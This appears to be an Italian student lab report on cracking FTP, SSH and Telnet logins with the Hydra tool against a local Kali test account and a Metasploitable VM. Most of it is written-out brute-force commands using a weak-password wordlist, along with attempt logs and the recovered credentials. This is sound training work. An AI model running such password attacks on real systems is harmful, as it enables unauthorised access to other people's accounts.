S6L4

LA TRACCIA DI OGGI CONSISTEVA DI CRACCARE L'AUTENTICAZIONE DEI SERVIZI DI RETE FTP E SSH SULLA NOSTRA MACCHINA DI KALI CON IL TOOL HYDRA COME SI PUÒ VEDERE NELLA PRIMA RIGA DI CODICE ENTRAMBE LE SCHERMARE I SERVIZI DI RETE ED UNA VOLTA INDIVIDUATI VERRANO EVIDENZIATI : DA NOTARE IL 22 NELLA PRIMA IMMAGINE COME RIUSCITA E 21 CON FTP NELLA SECONDA IN QUESTA SLIDE

```
[DATA] attacking ssh://10.0.4.15:22/
^C

┌──(kali㉿kali)-[~]
└─$ hydra -l test_user -P /usr/share/seclists/Passwords/500-worst-passwords.txt 192.168.1.37  -t4 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding,
these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-11 17:24:16
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 499 login tries (l:1/p:499), ~125 tries per task
[DATA] attacking ssh://192.168.1.37:22/
[ATTEMPT] target 192.168.1.37 - login "test_user" - pass "123456" - 1 of 499 [child 0] (0/0)
[ATTEMPT] target 192.168.1.37 - login "test_user" - pass "password" - 2 of 499 [child 1] (0/0)
[ATTEMPT] target 192.168.1.37 - login "test_user" - pass "12345678" - 3 of 499 [child 2] (0/0)
[ATTEMPT] target 192.168.1.37 - login "test_user" - pass "1234" - 4 of 499 [child 3] (0/0)
[ATTEMPT] target 192.168.1.37 - login "test_user" - pass "pussy" - 5 of 499 [child 3] (0/0)
[ATTEMPT] target 192.168.1.37 - login "test_user" - pass "12345" - 6 of 499 [child 0] (0/0)
[ATTEMPT] target 192.168.1.37 - login "test_user" - pass "dragon" - 7 of 499 [child 1] (0/0)
[ATTEMPT] target 192.168.1.37 - login "test_user" - pass "testpass" - 8 of 499 [child 2] (0/0)
[22][ssh] host: 192.168.1.37   login: test_user   password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-11 17:24:30

┌──(kali㉿kali)-[~]
└─$ hydra -l test_user -P /usr/share/seclists/Passwords/500-worst-passwords.txt 192.168.1.37  -t4 ftp -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding,
these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-11 17:27:24
[DATA] max 4 tasks per 1 server, overall 4 tasks, 499 login tries (l:1/p:499), ~125 tries per task
[DATA] attacking ftp://192.168.1.37:21/
[ATTEMPT] target 192.168.1.37 - login "test_user" - pass "123456" - 1 of 499 [child 0] (0/0)
[ATTEMPT] target 192.168.1.37 - login "test_user" - pass "password" - 2 of 499 [child 1] (0/0)
[ATTEMPT] target 192.168.1.37 - login "test_user" - pass "12345678" - 3 of 499 [child 2] (0/0)
[ATTEMPT] target 192.168.1.37 - login "test_user" - pass "1234" - 4 of 499 [child 3] (0/0)
[ATTEMPT] target 192.168.1.37 - login "test_user" - pass "pussy" - 5 of 499 [child 2] (0/0)
[ATTEMPT] target 192.168.1.37 - login "test_user" - pass "12345" - 6 of 499 [child 0] (0/0)
[ATTEMPT] target 192.168.1.37 - login "test_user" - pass "dragon" - 7 of 499 [child 1] (0/0)
[ATTEMPT] target 192.168.1.37 - login "test_user" - pass "testpass" - 8 of 499 [child 3] (0/0)
[21][ftp] host: 192.168.1.37   login: test_user   password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-11 17:27:31
```

SU METASPLOITABLE SONO STATI TROVATI SERVIZI DI RETE FTP,TELNET SSH UTILIZZANDO L'IP DI KALI LA PRIMA IMMAGINE IL SERVIZIO FTP BASTA LEGGERE IL CODICE CHE SEGUE LA VOCE HYDRA DOPO LA RICERCA AL TENTATIVO (21) RIVELATO IL LOGIN E LA PASSWORD

```
┌──(kali㉿kali)-[~]
└─$ hydra -l msfadmin -P /usr/share/seclists/Passwords/500-worst-passwords.txt 192.168.50.101  -t4 ftp -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding,
these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-11 17:32:33
[DATA] max 4 tasks per 1 server, overall 4 tasks, 499 login tries (l:1/p:499), ~125 tries per task
[DATA] attacking ftp://192.168.50.101:21/
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123456" - 1 of 499 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "password" - 2 of 499 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "12345678" - 3 of 499 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "1234" - 4 of 499 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "pussy" - 5 of 499 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "12345" - 6 of 499 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "dragon" - 7 of 499 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "testpass" - 8 of 499 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "696969" - 9 of 499 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "msfadmin" - 10 of 499 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "letmein" - 11 of 499 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "baseball" - 12 of 499 [child 3] (0/0)
[21][ftp] host: 192.168.50.101   login: msfadmin   password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-11 17:32:45
```

In queste immagine ho riportato 2 vulnerabilità : la prima immagine il servizio telnet sull'ip
Di meta il login e la password, nella seconda immagine della slide è stato utilizzato SSH
Sempre utilizzando il codice di hydra ma inserendo l'ip di meta e cambiando la vulnerabilità basterà
Vedere il codice nella slide precedente e cambiare ftp in telnet o ssh qualunque test vogliate effettuare

```
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "pass" - 19 of 499 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "fuckme" - 20 of 499 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "6969" - 21 of 499 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "jordan" - 22 of 499 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "harley" - 23 of 499 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "ranger" - 24 of 499 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "iwantu" - 25 of 499 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "msfadmin" - 26 of 499 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "hunter" - 27 of 499 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "fuck" - 28 of 499 [child 2] (0/0)
[23][telnet] host: 192.168.50.101   login: msfadmin   password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-11 17:36:39
```

```
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-11 17:44:12
[DATA] max 4 tasks per 1 server, overall 4 tasks, 499 login tries (l:1/p:499), ~125 tries per task
[DATA] attacking ssh://192.168.50.101:22/
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123456" - 1 of 499 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "password" - 2 of 499 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "12345678" - 3 of 499 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "1234" - 4 of 499 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "pussy" - 5 of 499 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "12345" - 6 of 499 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "dragon" - 7 of 499 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "testpass" - 8 of 499 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "696969" - 9 of 499 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "jennifer" - 10 of 499 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "letmein" - 11 of 499 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "baseball" - 12 of 499 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "master" - 13 of 499 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "michael" - 14 of 499 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "football" - 15 of 499 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "shadow" - 16 of 499 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "monkey" - 17 of 499 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "abc123" - 18 of 499 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "pass" - 19 of 499 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "fuckme" - 20 of 499 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "6969" - 21 of 499 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "jordan" - 22 of 499 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "harley" - 23 of 499 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "ranger" - 24 of 499 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "iwantu" - 25 of 499 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "msfadmin" - 26 of 499 [child 3] (0/0)
[22][ssh] host: 192.168.50.101   login: msfadmin   password: msfadmin
```